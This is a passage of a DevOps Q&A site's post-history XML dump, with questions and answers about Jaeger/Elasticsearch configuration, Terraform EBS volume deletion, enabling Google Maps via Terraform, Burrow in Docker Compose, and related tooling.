going to `configmap.yml` elastic search file  `kubectl edit configmap jaeger-configuration` command in order to try to edit it in relation to the elasticsearch URLs endpoints (may be? ... At this moment I am supossing that this is the next step ...)&#xD;&#xA;&#xD;&#xA;I execute it:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl edit configmap jaeger-configuration &#xD;&#xA;&#xD;&#xA;And I get the following edit entry:&#xD;&#xA;    &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     apiVersion: v1&#xD;&#xA;    data:&#xD;&#xA;      agent: |&#xD;&#xA;        collector:&#xD;&#xA;          host-port: &quot;jaeger-collector:14267&quot;&#xD;&#xA;      collector: |&#xD;&#xA;        es:&#xD;&#xA;          server-urls: http://elasticsearch:9200&#xD;&#xA;          username: elastic&#xD;&#xA;          password: changeme&#xD;&#xA;        collector:&#xD;&#xA;          zipkin:&#xD;&#xA;            http-port: 9411&#xD;&#xA;      query: |&#xD;&#xA;        es:&#xD;&#xA;          server-urls: http://elasticsearch:9200&#xD;&#xA;          username: elastic&#xD;&#xA;          password: changeme&#xD;&#xA;      span-storage-type: elasticsearch&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: &quot;2018-12-27T13:24:11Z&quot;&#xD;&#xA;      labels:&#xD;&#xA;        app: jaeger&#xD;&#xA;        jaeger-infra: configuration&#xD;&#xA;      name: jaeger-configuration&#xD;&#xA;      namespace: default&#xD;&#xA;      resourceVersion: &quot;1387&quot;&#xD;&#xA;      selfLink: /api/v1/namespaces/default/configmaps/jaeger-configuration&#xD;&#xA;      uid: b28eb5f4-09da-11e9-9f1e-42010aa60002&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here ... do I need setup our own URLs to collector and query services, which will be connect wiht elasticsearch backend service?&#xD;&#xA;&#xD;&#xA;How to can I setup the elasticsearch IP address or URLs here?&#xD;&#xA;&#xD;&#xA;In the jaeger components, the query and collector need access to storage, but I don't know what is the elastic endpoint ... &#xD;&#xA;&#xD;&#xA;Is this `server-urls: http://elasticsearch:9200` a correct endpoint?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am starting in the kubernetes and DevOps world, and I appreciate if someone can help me in the concepts and point me in the right address in order to setup jaeger and elasticsearch as a backend storage.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jaegertracing/jaeger-kubernetes#development-setup&#xD;&#xA;  [2]: https://github.com/jaegertracing/jaeger-kubernetes#production-setup&#xD;&#xA;  [3]: https://github.com/jaegertracing/jaeger-kubernetes#jaeger-components&#xD;&#xA;  [4]: https://eng.uber.com/wp-content/uploads/2017/02/Distributed_Tracing_Header.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18728" PostHistoryTypeId="33" PostId="5822" RevisionGUID="c104bdf9-237e-4a51-9547-f1b5c6ce40ff" CreationDate="2018-12-27T17:25:24.593" UserId="11362" Comment="34" />
  <row Id="18729" PostHistoryTypeId="2" PostId="5838" RevisionGUID="afdc3384-051c-4abf-ada2-7bbbfc3923db" CreationDate="2018-12-27T18:05:38.203" UserId="11564" Text="i am using this template to create aws resources.&#xD;&#xA;my count is 2, every thing is getting created as per plan,, i am attaching a 2nd ebs volume of 1 gb to both machines, which is also happening well, but the only issue is when i try to delete one ec2 instance by below cmd,, both of the 2nd ebs volume of 1gb are getting destory,,i checked they are connected on seperate instances.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ terraform destroy -target=aws_instance.jumpserver[1]&#xD;&#xA;    aws_vpc.main_vpc: Refreshing state... (ID: vpc-06b59734024ad6adc)&#xD;&#xA;    aws_key_pair.ProdKeypair: Refreshing state... (ID: ProdKeypair)&#xD;&#xA;    aws_security_group.sg_internet_facing: Refreshing state... (ID: sg-05a2739733f4f8a32)&#xD;&#xA;    aws_subnet.public_subnet: Refreshing state... (ID: subnet-0a8c6ea2718a44224)&#xD;&#xA;    aws_instance.jumpserver[1]: Refreshing state... (ID: i-05646d53baa34a988)&#xD;&#xA;    &#xD;&#xA;    An execution plan has been generated and is shown below.&#xD;&#xA;    Resource actions are indicated with the following symbols:&#xD;&#xA;      - destroy&#xD;&#xA;    &#xD;&#xA;    Terraform will perform the following actions:&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[0]&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[1]&#xD;&#xA;    &#xD;&#xA;      - aws_instance.jumpserver[1]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[0]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;THis is the main.tf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Define webserver inside the public subnets &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;jumpserver&quot; {&#xD;&#xA;      count                       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.public_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_internet_facing.id}&quot;]&#xD;&#xA;      associate_public_ip_address = true&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      #   user_data = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      root_block_device = {&#xD;&#xA;        volume_type           = &quot;gp2&quot;&#xD;&#xA;        volume_size           =  &quot;8&quot;  &#xD;&#xA;        delete_on_termination = &quot;${var.delete_on_termincation}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&quot;sudo apt-get  -y install python&quot;]&#xD;&#xA;    &#xD;&#xA;        connection {&#xD;&#xA;          type        = &quot;ssh&quot;&#xD;&#xA;          user        = &quot;ubuntu&quot;&#xD;&#xA;          private_key = &quot;${file(var.private_key_path)}&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_ebs_volume&quot; &quot;vol_generic_data&quot; {&#xD;&#xA;      size              = &quot;1&quot;&#xD;&#xA;      count             = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      type              = &quot;gp2&quot;&#xD;&#xA;      availability_zone = &quot;${element(aws_instance.jumpserver.*.availability_zone, count.index)}&quot;&#xD;&#xA;    &#xD;&#xA;     tags = {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_volume_attachment&quot; &quot;generic_data_vol_att&quot; {&#xD;&#xA;      device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;      volume_id   = &quot;${element(aws_ebs_volume.vol_generic_data.*.id, count.index)}&quot;&#xD;&#xA;      instance_id = &quot;${element(aws_instance.jumpserver.*.id, count.index)}&quot;&#xD;&#xA;      count       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Define webserver inside the private subnet&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;backendserver&quot; {&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.private_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_backend.id}&quot;]&#xD;&#xA;      associate_public_ip_address = false&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      user_data                   = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;backendserver&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18730" PostHistoryTypeId="1" PostId="5838" RevisionGUID="afdc3384-051c-4abf-ada2-7bbbfc3923db" CreationDate="2018-12-27T18:05:38.203" UserId="11564" Text="all volumes are geting deleted when one EC2 is being deleted via terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="18731" PostHistoryTypeId="3" PostId="5838" RevisionGUID="afdc3384-051c-4abf-ada2-7bbbfc3923db" CreationDate="2018-12-27T18:05:38.203" UserId="11564" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18733" PostHistoryTypeId="2" PostId="5839" RevisionGUID="aeab01ec-5f9c-4058-b160-6308669e5c0a" CreationDate="2018-12-27T18:40:57.080" UserId="11210" Text="It appears LinkedIn doesn't have an official Burrow docker image on Docker Hub, but there are others who have forked it... However, I can't find any examples of how to add any of them to a docker compose file that spins up ZK and Kafka (something like this https://github.com/simplesteph/kafka-stack-docker-compose/blob/master/full-stack.yml). What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18734" PostHistoryTypeId="1" PostId="5839" RevisionGUID="aeab01ec-5f9c-4058-b160-6308669e5c0a" CreationDate="2018-12-27T18:40:57.080" UserId="11210" Text="Adding LinkedIn's Burrow to a Docker Compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="18735" PostHistoryTypeId="3" PostId="5839" RevisionGUID="aeab01ec-5f9c-4058-b160-6308669e5c0a" CreationDate="2018-12-27T18:40:57.080" UserId="11210" Text="&lt;docker-compose&gt;&lt;dockerhub&gt;&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18736" PostHistoryTypeId="2" PostId="5840" RevisionGUID="994ffc5e-b513-4b29-b6cd-ba2aeee2de9f" CreationDate="2018-12-27T18:56:17.457" UserId="397" Text="I've been trying to spin up a project from scratch over the Christmas break to automate the creation of my home network, one of those components is the [Ubiquiti Controller](https://www.amazon.co.uk/dp/B017T2QB22/) which requires a [Google Maps API key](https://developers.google.com/maps/documentation/embed/get-api-key) to plot devices onto maps.&#xD;&#xA;&#xD;&#xA;I've been able to automate the creation of the project using Terraform:&#xD;&#xA;&#xD;&#xA;    resource &quot;google_project&quot; &quot;slaterfamily_network&quot; {&#xD;&#xA;      depends_on      = [&quot;data.google_organization.org&quot;]&#xD;&#xA;      name            = &quot;Slater Family Network&quot;&#xD;&#xA;      project_id      = &quot;slaterfamily-network&quot;&#xD;&#xA;      org_id          = &quot;${data.google_organization.org.id}&quot;&#xD;&#xA;      billing_account = &quot;${var.billing_account}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;google_project_iam_binding&quot; &quot;account_owner&quot; {&#xD;&#xA;      project = &quot;${google_project.slaterfamily_network.project_id}&quot;&#xD;&#xA;&#xD;&#xA;      # It's important to specify ALL members, as this replaces them:&#xD;&#xA;      #   https://twitter.com/devopsreact/status/840233052194320384&#xD;&#xA;      members = [&#xD;&#xA;        &quot;user:richard@slaterfamily.name&quot;,&#xD;&#xA;        &quot;serviceAccount:${data.google_service_account.terraform_service_account.email}&quot;,&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;      role = &quot;roles/owner&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This works fine for configuring Google Cloud DNS, however, I can't seem to find a way of enabling Google Maps and generating an API key, the following statements enable the Service Usage API, however it fails enabling the Maps API:&#xD;&#xA;&#xD;&#xA;    resource &quot;google_project_service&quot; &quot;service_usage&quot; {&#xD;&#xA;      project = &quot;${var.project_id}&quot;&#xD;&#xA;      service = &quot;serviceusage.googleapis.com&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;google_project_service&quot; &quot;maps&quot; {&#xD;&#xA;      depends_on = [&quot;google_project_service.service_usage&quot;]&#xD;&#xA;      project = &quot;${var.project_id}&quot;&#xD;&#xA;      service = &quot;maps.googleapis.com&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With this error:&#xD;&#xA;&#xD;&#xA;    google_project_service.maps: Error enabling service: failed to issue request: googleapi: Error 403: The caller does not have permission, forbidden&#xD;&#xA;&#xD;&#xA;Which after tracing the HTTP calls gives me the following, formatted as cURL for ease of reproduction:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    curl -H 'Host: serviceusage.googleapis.com' -H 'content-type: application/json' -H 'authorization: Bearer {{ BEARER_TOKEN }}' -H 'user-agent: google-api-go-client/0.5 Terraform/0.11.7 (+https://www.terraform.io) terraform-provider-google/1.20.0' --data-binary &quot;{}&quot; --compressed 'https://serviceusage.googleapis.com/v1beta1/projects/slaterfamily-network/services/maps.googleapis.com:enable?alt=json&amp;prettyPrint=false'&#xD;&#xA;&#xD;&#xA;Which results in:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;error&quot;: {&#xD;&#xA;        &quot;code&quot;: 403,&#xD;&#xA;        &quot;message&quot;: &quot;The caller does not have permission&quot;,&#xD;&#xA;        &quot;errors&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;message&quot;: &quot;The caller does not have permission&quot;,&#xD;&#xA;            &quot;domain&quot;: &quot;global&quot;,&#xD;&#xA;            &quot;reason&quot;: &quot;forbidden&quot;&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;status&quot;: &quot;PERMISSION_DENIED&quot;&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="18737" PostHistoryTypeId="1" PostId="5840" RevisionGUID="994ffc5e-b513-4b29-b6cd-ba2aeee2de9f" CreationDate="2018-12-27T18:56:17.457" UserId="397" Text="How to enable Google Maps and generate an API key using Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18738" PostHistoryTypeId="3" PostId="5840" RevisionGUID="994ffc5e-b513-4b29-b6cd-ba2aeee2de9f" CreationDate="2018-12-27T18:56:17.457" UserId="397" Text="&lt;terraform&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18748" PostHistoryTypeId="36" PostId="5842" RevisionGUID="bbe95dca-9788-4d11-a0cb-8d16e182088c" CreationDate="2018-12-28T06:36:25.727" UserId="-1" Comment="from https://unix.stackexchange.com/questions/491178/all-volumes-are-geting-deleted-when-one-ec2-is-being-deleted-via-terraform" />
  <row Id="18749" PostHistoryTypeId="2" PostId="5842" RevisionGUID="b023952a-4179-4f34-a3fc-41cdd30bb470" CreationDate="2018-12-27T18:03:26.857" UserId="11564" Text="i am using this template to create aws resources.&#xD;&#xA;my count is 2, every thing is getting created as per plan,, i am attaching a 2nd ebs volume of 1 gb to both machines, which is also happening well, but the only issue is when i try to delete one ec2 instance by below cmd,, both of the 2nd ebs volume of 1gb are getting destory,,i checked they are connected on seperate instances.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ terraform destroy -target=aws_instance.jumpserver[1]&#xD;&#xA;    aws_vpc.main_vpc: Refreshing state... (ID: vpc-06b59734024ad6adc)&#xD;&#xA;    aws_key_pair.ProdKeypair: Refreshing state... (ID: ProdKeypair)&#xD;&#xA;    aws_security_group.sg_internet_facing: Refreshing state... (ID: sg-05a2739733f4f8a32)&#xD;&#xA;    aws_subnet.public_subnet: Refreshing state... (ID: subnet-0a8c6ea2718a44224)&#xD;&#xA;    aws_instance.jumpserver[1]: Refreshing state... (ID: i-05646d53baa34a988)&#xD;&#xA;    &#xD;&#xA;    An execution plan has been generated and is shown below.&#xD;&#xA;    Resource actions are indicated with the following symbols:&#xD;&#xA;      - destroy&#xD;&#xA;    &#xD;&#xA;    Terraform will perform the following actions:&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[0]&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[1]&#xD;&#xA;    &#xD;&#xA;      - aws_instance.jumpserver[1]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[0]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;THis is the main.tf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Define webserver inside the public subnets &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;jumpserver&quot; {&#xD;&#xA;      count                       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.public_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_internet_facing.id}&quot;]&#xD;&#xA;      associate_public_ip_address = true&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      #   user_data = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      root_block_device = {&#xD;&#xA;        volume_type           = &quot;gp2&quot;&#xD;&#xA;        volume_size           =  &quot;8&quot;  &#xD;&#xA;        delete_on_termination = &quot;${var.delete_on_termincation}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&quot;sudo apt-get  -y install python&quot;]&#xD;&#xA;    &#xD;&#xA;        connection {&#xD;&#xA;          type        = &quot;ssh&quot;&#xD;&#xA;          user        = &quot;ubuntu&quot;&#xD;&#xA;          private_key = &quot;${file(var.private_key_path)}&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_ebs_volume&quot; &quot;vol_generic_data&quot; {&#xD;&#xA;      size              = &quot;1&quot;&#xD;&#xA;      count             = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      type              = &quot;gp2&quot;&#xD;&#xA;      availability_zone = &quot;${element(aws_instance.jumpserver.*.availability_zone, count.index)}&quot;&#xD;&#xA;    &#xD;&#xA;     tags = {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_volume_attachment&quot; &quot;generic_data_vol_att&quot; {&#xD;&#xA;      device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;      volume_id   = &quot;${element(aws_ebs_volume.vol_generic_data.*.id, count.index)}&quot;&#xD;&#xA;      instance_id = &quot;${element(aws_instance.jumpserver.*.id, count.index)}&quot;&#xD;&#xA;      count       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Define webserver inside the private subnet&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;backendserver&quot; {&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.private_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_backend.id}&quot;]&#xD;&#xA;      associate_public_ip_address = false&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      user_data                   = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;backendserver&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18750" PostHistoryTypeId="1" PostId="5842" RevisionGUID="b023952a-4179-4f34-a3fc-41cdd30bb470" CreationDate="2018-12-27T18:03:26.857" UserId="11564" Text="all volumes are geting deleted when one EC2 is being deleted via terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="18751" PostHistoryTypeId="3" PostId="5842" RevisionGUID="b023952a-4179-4f34-a3fc-41cdd30bb470" CreationDate="2018-12-27T18:03:26.857" UserId="11564" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18752" PostHistoryTypeId="5" PostId="5839" RevisionGUID="27f27d88-8ef4-4991-9a96-9f94479d7cfa" CreationDate="2018-12-28T07:31:18.073" UserId="11555" Comment="Format Change" Text="It appears `LinkedIn` doesn't have an official Burrow docker image on Docker Hub, but there are others who have forked it... &#xD;&#xA;&#xD;&#xA;However, I can't find any examples of how to add any of them to a docker compose file that spins up ZK and Kafka something like [this](https://github.com/simplesteph/kafka-stack-docker-compose/blob/master/full-stack.yml). &#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18753" PostHistoryTypeId="24" PostId="5839" RevisionGUID="27f27d88-8ef4-4991-9a96-9f94479d7cfa" CreationDate="2018-12-28T07:31:18.073" Comment="Proposed by 11555 approved by -1 edit id of 899" ContentLicense="CC BY-SA 4.0" />
  <row Id="18754" PostHistoryTypeId="5" PostId="5839" RevisionGUID="13a41224-5e3a-4fb7-b8b2-90fcb493b9d4" CreationDate="2018-12-28T07:31:18.073" UserId="40" Comment="deleted 3 characters in body; edited title" Text="It appears `LinkedIn` doesn't have an official Burrow docker image on Docker Hub, but there are others who have forked it.&#xD;&#xA;&#xD;&#xA;However, I can't find any examples of how to add any of them to a docker compose file that spins up ZK and Kafka something like [this](https://github.com/simplesteph/kafka-stack-docker-compose/blob/master/full-stack.yml). &#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18755" PostHistoryTypeId="4" PostId="5839" RevisionGUID="13a41224-5e3a-4fb7-b8b2-90fcb493b9d4" CreationDate="2018-12-28T07:31:18.073" UserId="40" Comment="deleted 3 characters in body; edited title" Text="How to add LinkedIn's Burrow to a Docker Compose?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18757" PostHistoryTypeId="50" PostId="5540" RevisionGUID="a0e62629-795a-47ee-a88a-daffe900f6ed" CreationDate="2018-12-28T09:02:45.637" UserId="-1" />
  <row Id="18759" PostHistoryTypeId="5" PostId="5837" RevisionGUID="3b25bb61-1175-4483-804a-83c2f2576a77" CreationDate="2018-12-28T14:44:21.980" UserId="397" Comment="Use is rather than test | success" Text="`ansible-lint` warning `405` can be quite irritating as in certain cases, i.e. when running locally retrying is very unlikely to make any difference.  Actually resolving it is normally simply a case of adding the following:&#xD;&#xA;&#xD;&#xA;    register: task_result&#xD;&#xA;    until: task_result is success&#xD;&#xA;    retries: 10&#xD;&#xA;    delay: 2&#xD;&#xA;&#xD;&#xA;When this is added to task Ansible will retry ten times with a delay of two seconds between each retry until the `returncode` is `0`." ContentLicense="CC BY-SA 4.0" />
  <row Id="18760" PostHistoryTypeId="2" PostId="5843" RevisionGUID="330cde80-5db9-4927-bc76-85b56d1bdbc6" CreationDate="2018-12-28T19:10:19.120" UserId="10666" Text="If you have a [user-defined network][1] set to bridge, you can access other containers by their container's name which is automatically as hostname for containers inside same network.&#xD;&#xA;&#xD;&#xA;So from `containerA` you could do `ping containerB` without problems. In your case it would be changing the setting to `containerB_name:(container B needed port)/route`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/v17.09/engine/userguide/networking/#user-defined-networks" ContentLicense="CC BY-SA 4.0" />
  <row Id="18761" PostHistoryTypeId="2" PostId="5844" RevisionGUID="782202a9-d26e-449d-964f-012d076017fd" CreationDate="2018-12-28T20:00:43.190" UserId="11210" Text="This is the example I was looking for: https://github.com/linkedin/Burrow/blob/master/docker-compose.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="18762" PostHistoryTypeId="5" PostId="5296" RevisionGUID="da850864-34fe-405b-b99d-7801c4cd558a" CreationDate="2018-12-28T21:28:04.463" UserId="10599" Comment="added 840 characters in body" Text="We use Helm to manage the configuration objects (aka yaml) of our applications running in our Openshift cluster as it manages both genetic kubernetes objects as well as openshift specific extensions. &#xA;&#xA;This answer gives a detailed overview https://devops.stackexchange.com/questions/4662/what-is-the-recommended-way-to-monitor-differences-between-multiple-kubernetes-n/5295#5295&#xA;&#xA;Helm is introduced [in the official openshift blogs][1]. In my experience Openshift is open in terms of supporting good Kubernetes tools that the community comes up with. You can adopt the Kubernetes tooling that fits your needs. &#xA;&#xA;**Update**: we are rewriting our configuration management using the mighty [helmfile][2] which makes it easier to manage multiple helm releases. The majority of our config can be yaml templated with helm charts. The only thing that seems hard to template are `ImageStreamTag` objects as they contain a lot of specific information such as the sha256 of each image layer. Since the tags we want to run change all the time it as our software changes it doesn't seem unnatural to define the &quot;shapes&quot; of our environments using helmfile yet run `oc` to pull a particular image stream tag into a project. &#xA;&#xA;&#xA;  [1]: https://blog.openshift.com/getting-started-helm-openshift/&#xA;  [2]: https://github.com/roboll/helmfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="18765" PostHistoryTypeId="50" PostId="5482" RevisionGUID="410afc1e-2421-4640-92cb-a1a44b7ab6a4" CreationDate="2018-12-29T06:00:55.257" UserId="-1" />
  <row Id="18766" PostHistoryTypeId="8" PostId="5802" RevisionGUID="1f39e5ce-b776-4c8e-903d-1680235438d3" CreationDate="2018-12-29T07:04:41.307" UserId="4369" Comment="Rollback to [69566eec-2782-4097-a0e5-915f3da6a6a8] - Edit approval overridden by post owner or moderator" Text="Docker is going to far more well-known than Mock. I consistently see Docker used during build in companies that I work for. I think I have seen Mock before, but only because I am a Fedora user.&#xD;&#xA;&#xD;&#xA;However, Docker is not a build tool in of itself, so you can still use Mock inside a container. This is a great way to avoid the &quot;snowflake&quot; build server. By using Docker containers, your builds are consistent no matter what build tool you are using. You can standardise on Docker as a platform for builds, and leave developers to choose the best build tool (whether that's Mock or NPM).&#xD;&#xA;&#xD;&#xA;The only other suggestion I'd have is to run the builds on a CI server, and Docker makes this really easy.&#xD;&#xA;&#xD;&#xA;Here's one example of a company using Docker for builds (as well as tests and deploys): https://amaysim.engineering/the-3-musketeers-how-make-docker-and-compose-enable-us-to-release-many-times-a-day-e92ca816ef17" ContentLicense="CC BY-SA 4.0" />
  <row Id="18767" PostHistoryTypeId="5" PostId="5802" RevisionGUID="9868ed2f-38ee-4275-8f8b-afbf9c56f02c" CreationDate="2018-12-29T07:06:52.220" UserId="4369" Comment="Suggested edit from @peter without the US spelling" Text="Docker is going to be far more well-known than Mock. I consistently see Docker used during build in companies that I work for. I think I have seen Mock before, but only because I am a Fedora user.&#xD;&#xA;&#xD;&#xA;However, Docker is not a build tool in of itself, so you can still use Mock inside a container. This is a great way to avoid the &quot;snowflake&quot; build server. By using Docker containers, your builds are consistent no matter what build tool you are using. You can standardise on Docker as a platform for builds, and leave developers to choose the best build tool (whether that's Mock or NPM).&#xD;&#xA;&#xD;&#xA;The only other suggestion I'd have is to run the builds on a CI server, and Docker makes this really easy.&#xD;&#xA;&#xD;&#xA;Here's [one example of a company using Docker for builds][1] (as well as tests and deploys).&#xD;&#xA;&#xD;&#xA;  [1]: https://amaysim.engineering/the-3-musketeers-how-make-docker-and-compose-enable-us-to-release-many-times-a-day-e92ca816ef17" ContentLicense="CC BY-SA 4.0" />
  <row Id="18768" PostHistoryTypeId="50" PostId="5556" RevisionGUID="8203900b-c1a0-4812-aaa9-e3c566333314" CreationDate="2018-12-29T11:01:35.343" UserId="-1" />
  <row Id="18769" PostHistoryTypeId="2" PostId="5845" RevisionGUID="259b8520-bb63-40f5-a8ff-39c2dcad97a3" CreationDate="2018-12-29T12:04:44.420" UserId="11579" Text="When you limit resources in docker-compose, the docker engine prevent containers to use more than the limits, docker do this by Linux's Cgroups. &#xD;&#xA;Its usage in docker-compose v3 is also straightforward: &#xD;&#xA;&lt;https://docs.docker.com/compose/compose-file/#resources&gt;&#xD;&#xA;&#xD;&#xA;When your OS is in OOM state, this kills processes automatically and maybe your containers are good candidates in the state, as the problem I have faced on my Gitlab CI's build machine to build node projects!" ContentLicense="CC BY-SA 4.0" />
  <row Id="18770" PostHistoryTypeId="5" PostId="4797" RevisionGUID="7989ca6f-d223-430c-85b3-1deff13182e8" CreationDate="2018-12-29T13:27:32.670" UserId="9329" Comment="further clarified my solution" Text="You can add a post deployment aprroval to the dev environment that the dev team has to approve.&#xD;&#xA;And then you can add a pre deployment approval to the QA environment that the QA team has to approve.&#xD;&#xA;&#xD;&#xA;Then a release will be automatically triggered for the QA environment after the dev team has approved the post deployment approval on the dev environment. But it will not deploy to the QA environment until the QA team has approved the pre-deployment approval.&#xD;&#xA;&#xD;&#xA;Additionally, the QA team can re-release any previous release to the QA environment at will by going back to the release and clicking redeploy." ContentLicense="CC BY-SA 4.0" />
